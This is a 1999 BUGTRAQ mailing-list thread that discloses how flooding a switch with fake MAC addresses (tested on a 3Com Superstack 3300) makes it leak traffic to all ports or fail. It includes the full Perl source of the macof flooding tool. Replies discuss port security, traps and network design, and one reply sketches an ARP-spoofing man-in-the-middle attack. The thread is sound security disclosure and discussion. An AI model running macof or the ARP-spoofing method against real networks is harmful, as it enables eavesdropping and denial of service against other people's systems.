Date: Wed, 5 May 1999 09:15:25 +0100 From: ian.vitek@INFOSEC.SE To: BUGTRAQ@netspace.org Subject: Infosec.19990305.macof.a Infosec Security Vulnerability Report No: Infosec.19990305.macof.a ===================================== Vulnerability Summary --------------------- Problem: Due to limitation with ARP/MAC-tables; switches could start sending packages to all ports, other network devices could hang, crash or reboot if they receive lots of MAC-addresses. Threat: Someone could eavesdrop/sniff network connections over a switched network. Denial of service attacks on a local network. Platform: Verified a 3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10). Very possible other network devices. Solution: There is no today known solution to the problem. Vulnerability Description ------------------------- Senario: Computer A talks with computer B. Computer C is running macof. Computer A, B and C are connected to the same 3com switch. When running macof ( http://quake.skif.net/RawIP/macof.html ), a perl-program included in the perl-module Raw:IP ( http://quake.skif.net/RawIP/ ), through a 3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10) the switch starts to send all network packages from computer A to computer B and computer C. Solution -------- There is no today known solution to the problem. As a workaround for switches you could maybe, where available, lock a MAC-address to every port on the switch. Background: ----------- At DefCon VI there were discussions about switches. Some people acquire a switch because you could not eavesdrop a network connection over it. Someone told that if you send a special multicast to a switch you could spoof another switch and thereby should the switch start sending you network packages. In these attempts we discovered that you easily could spoof a MAC-address and thereby confuse a switch because the switch tries to remember which MAC-addresses is on each port. Because of some network packages goes to the spoofing MAC you get problems with the connections (resends). But what happens if the switch gets flooded with MAC-addresses? The switch just has a bound memory-space for the MAC-addresses on each port. What happens if this table gets full? After a few tests (with macof) we got different results depending on the brand of the switch. Some switches stopped working and other started to forward network traffic to wrong or all ports. The only scientific analysis is this one reported. This is a resource problem. 3com was informed about this problem 21/4 1999. macof is just one way to do it. We think that the best way to eavesdrop a connection over a switch is to spoof the default router and send ARP-redirects with your MAC-address as ?changing to? and route the incoming packages to the default routers MAC-address. //Ian Vitek ian.vitek@infosec.se Test program, macof: ------ #!/usr/bin/perl -w # # macof v. 1.1 # By Ian Vitek ( ian.vitek@infosec.se ) # Tests network devices by flooding local network with MAC-addresses. # # Needs Net::RawIP (http://quake.skif.net/RawIP) # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) # # Example: ./macof -e -n 1000000 # ./macof -r -n 1000000 # (run it several times) # # Warning: This program could cause serious problems on your network. # This program could hang, crash or reboot network devices. # Switches could start sending packages to all ports making it # possible to intercept network traffic. # # require 'getopts.pl'; use Net::RawIP; Getopts('hvrs:e:d:x:y:i:n:'); sub GenMAC { my $tmp_mac="00"; my $i=0; # generate random mac-address while($i++ < 5) { $tmp_mac.=":" . sprintf("%x",int rand 16); $tmp_mac.=sprintf("%x",int rand 16); } return($tmp_mac); } $a = new Net::RawIP; die "usage: $0 [options]\ \t-d dest_host\t\t(def:random)\ \t-s source_host\t\t(def:random)\ \t-v \t\t\tprints generated mac-addresses\ \t-r | -e dest_mac \trandomize or set destination mac address\ \t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\ \t-x source_port\t\t(def:random)\ \t-y dest_port \t\t(def:random)\ \t-i interface \t\tset sending interface \t\t(def:eth0)\ \t-n times\t\tset number of times to send \t(def:1)\ \t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) ); # set default values $opt_i=eth0 unless $opt_i; $opt_n=1 unless $opt_n; $s_host=$opt_s if $opt_s; $d_host=$opt_d if $opt_d; $s_port=$opt_x if $opt_x; $d_port=$opt_y if $opt_y; # choose network card if($opt_e) { $a->ethnew($opt_i, dest => $opt_e); } else { $a->ethnew($opt_i); } # Loop for($times=0; $times < $opt_n; $times++) { # Check if one or two mac-addresses should be generated $mac=&GenMAC; if($opt_r) { $d_mac=&GenMAC; print "$d_mac \t$mac\n" if($opt_v); # set mac-addresses $a->ethset(source => $mac, dest => $d_mac); } else { print "$mac\n" if($opt_v); # set mac-address $a->ethset(source => $mac); } # generate random source and destination ip-addresses $s_host=17000000+int rand 4261000000 unless $opt_s; $d_host=17000000+int rand 4261000000 unless $opt_d; # generate random source and dest ports $s_port=int rand 65535 unless $opt_x; $d_port=int rand 65535 unless $opt_y; # set network package $a->set({ip => {saddr => $s_host, daddr => $d_host}, tcp => {source => $s_port, dest => $d_port} }); # send $a->ethsend; } ------------------------------------------------------------------------------ Date: Thu, 6 May 1999 22:50:53 -0300 From: David Maxwell To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a On Wed, May 05, 1999 at 09:15:25AM +0100, ian.vitek@INFOSEC.SE wrote: > Infosec Security Vulnerability Report > No: Infosec.19990305.macof.a > ===================================== > > Vulnerability Summary > --------------------- > > Problem: Due to limitation with ARP/MAC-tables; > switches could start sending packages to all ports, > other network devices could hang, crash or reboot > if they receive lots of MAC-addresses. This doesn't seem like a major issue, as long as PER PORT Mac limit < x < y < PER SWITCH Mac limit and y-x is a reasonable size. Since you can only generate Mac addresses which will be recorded on the port of the switch your attacking box is connected to, you won't be able to overload the box entirely. You will be able to knock valid local (i.e. on your segment) Macs out of the table, but this will only give the switch a little extra work to do (packet replication). All the traffic to or from hosts on the same port as you should already be sniffable anyway. Displacing existing Macs will disrupt traffic as mentioned, but it's worth noting that on some brands of VLAN capable switch, the same Mac can exist without conflict in more than 1 VLAN. So you'll only be affecting the VLAN you're connected to. -- David Maxwell, david@vex.net|david@maxwell.net --> Mastery of UNIX, like mastery of language, offers real freedom. The price of freedom is always dear, but there's no substitute. Personally, I'd rather pay for my freedom than live in a bitmapped, pop-up-happy dungeon like NT. - Thomas Scoville ------------------------------------------------------------------------------ Date: Fri, 7 May 1999 13:29:33 +0930 From: Glen Turner To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a ian.vitek@INFOSEC.SE wrote: > Problem: Due to limitation with ARP/MAC-tables; > switches could start sending packages to all ports, > other network devices could hang, crash or reboot > if they receive lots of MAC-addresses. > This problem is well-known. We see it occassionally. The bridge designer faces two choices: 1. To flood packets when the filtering database fills. Thus the bridge can cope with larger bridged networks than it was originally designed for. 2. To refuse service to addresses not already in the filtering database when the database fills. IEEE 802.1d isn't much use in deciding which option is best. Fixes are to activate "port security", which deactivates a port if its MAC address changes. This limits the DoS to one machine, which may still be worthwhile if the machine runs an attractive service. It is costly to administer in a large network. Some switches have a "trap on port MAC address change" option. The port running the exploit will generate a huge number of traps, and suitable administrative action taken. Networks with trees of switches will see multiple traps as MAC addresses changes, so this option is usually only enabled on switches at the edge. However, we run this option on all our switches and just deal with the extra traps. Switch vendors do need to improve security. Most vendors' plans involve obtaining user authentication before granting significant link-level access. At present, these plans are somewhat propietary. Network design is also important. We place all public access areas (computing labs, etc) on their own IP subnets. These areas usually require significant IP filtering in any case. The effect is to limit link-level DoS attacks initiated from a public keyboard to a single physical area. -- Glen Turner Network Specialist Tel: (08) 8303 3936 Information Technology Services Fax: (08) 8303 4400 The University of Adelaide 5005 Email: glen.turner@adelaide.edu.au South Australia ------------------------------------------------------------------------------ Date: Thu, 6 May 1999 22:30:07 +0200 From: Emil Isberg Reply-To: Emil Isberg To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a On 5 May 1999, ian.vitek@INFOSEC.SE wrote: >Vulnerability Summary >--------------------- > >Problem: Due to limitation with ARP/MAC-tables; > switches could start sending packages to all ports, > other network devices could hang, crash or reboot > if they receive lots of MAC-addresses. > >Threat: Someone could eavesdrop/sniff network connections > over a switched network. > Denial of service attacks on a local network. >Solution: There is no today known solution to the problem. This problem is known. The problem is known as "Learning mode" and is the state the switch is in when it "learn" how the network is configurated. What it does is simply to record what port each mac-address is responding. How does the solution look like? Well. Don't use "learning mode" on the switch. In a secure environment you know most of the needed mac-addresses and the rest you should know anyway so you do not need "learning mode". But is it a limitation? Yes. The switch should notice that a port is behaving very strange and disable it (before it's MAC-table is flushed). -- /Emil "Man kan säga att jag har ett eget filsystem i min lägenhet. /Bornäs" ------------------------------------------------------------------------------ Date: Sat, 8 May 1999 03:17:47 +0100 From: Alan Cox To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a > IEEE 802.1d isn't much use in deciding which option > is best. IEEE 802.1d is of questionable value anyway. Grep the standard for the word security. Spanning tree used maliciously is spectacularly effective when you decide to elect yourself the root of the tree. > Fixes are to activate "port security", which deactivates > a port if its MAC address changes. This limits the > DoS to one machine, which may still be worthwhile > if the machine runs an attractive service. It is > costly to administer in a large network. Your security is still totally illusionary. Treat a switch as a network accelerator thats all. Any security consultant who talks about switches as a security feature you should offer to sell a bridge too (london bridge that is). The only time the switch helps is if it has IP level filters > Networks with trees of switches will see multiple traps > as MAC addresses changes, so this option is usually > only enabled on switches at the edge. Be careful the bridge handles this right. You can trash some with trap bombs too - its often loading the on board CPU down to handle an SNMP trap and that in many bridges clobbers some of the hardware assisted performance badly. > access areas (computing labs, etc) on their own IP subnets. > These areas usually require significant IP filtering > in any case. The effect is to limit link-level DoS attacks > initiated from a public keyboard to a single physical area. Sort of. Given nodes A and B talking IP away from the public lab. Ping A, ping B. Note their mac addresses. Send A a regular stream of ARPs claiming B has moved to your address. Send B a stream of frames claiming A has moved to your address. Sit in the middle rewriting destination headers. Enjoy. You are using strong crypto on your network aren't you 8) Alan ------------------------------------------------------------------------------ Date: Sun, 9 May 1999 14:53:35 +0100 From: Alan Cox To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a > Well, um, actually it is supposedly possible to pre-program some > switches with the MACs of the host(s) it should see on a given segment. Yes, which makes little odds > Assuming you've done this, and that it's possible to stop the switch > from learning new MACs (I've not yet tried this myself), it should make Which isnt needed > many of the attacks described to date much more difficult, if not > impossible. It stops some of the basic spanning tree attacks > In addition the switch *is* an extra level of defense, even if it's not > 100% guaranteed, as it does prevent trivial sniffing (as anyone who grew > up diagnosing Ethernet problems with packet sniffers can tell you!). It works the other way. The switch stops the administrator seeing the games I'm playing across other ports. Crackers hide behind switches. They unicast the attack arps, they redirect the traffic and admins on another segment don't even see a change.. -- With trembling hands he unfurled the ancient cracked parchment, this was the place, it had to be. Uncertainly he began to mumble the chant "rdbms, sql , third normal formal form, java, table, scalable". Something moved.. >From outside they heard a scream and a thud. The sales department had awoken ------------------------------------------------------------------------------ Date: Sat, 8 May 1999 23:46:01 -0400 From: Greg A. Woods Reply-To: Greg A. Woods To: BUGTRAQ@netspace.org Subject: Re: Infosec.19990305.macof.a [ On Saturday, May 8, 1999 at 03:17:47 (+0100), Alan Cox wrote: ] > Subject: Re: Infosec.19990305.macof.a > > Your security is still totally illusionary. Treat a switch > as a network accelerator thats all. Any security consultant who talks > about switches as a security feature you should offer to > sell a bridge too (london bridge that is). > > The only time the switch helps is if it has IP level filters Well, um, actually it is supposedly possible to pre-program some switches with the MACs of the host(s) it should see on a given segment. Assuming you've done this, and that it's possible to stop the switch >from learning new MACs (I've not yet tried this myself), it should make many of the attacks described to date much more difficult, if not impossible. In addition the switch *is* an extra level of defense, even if it's not 100% guaranteed, as it does prevent trivial sniffing (as anyone who grew up diagnosing Ethernet problems with packet sniffers can tell you!). -- Greg A. Woods +1 416 218-0098 VE3TCP Planix, Inc. ; Secrets of the Weird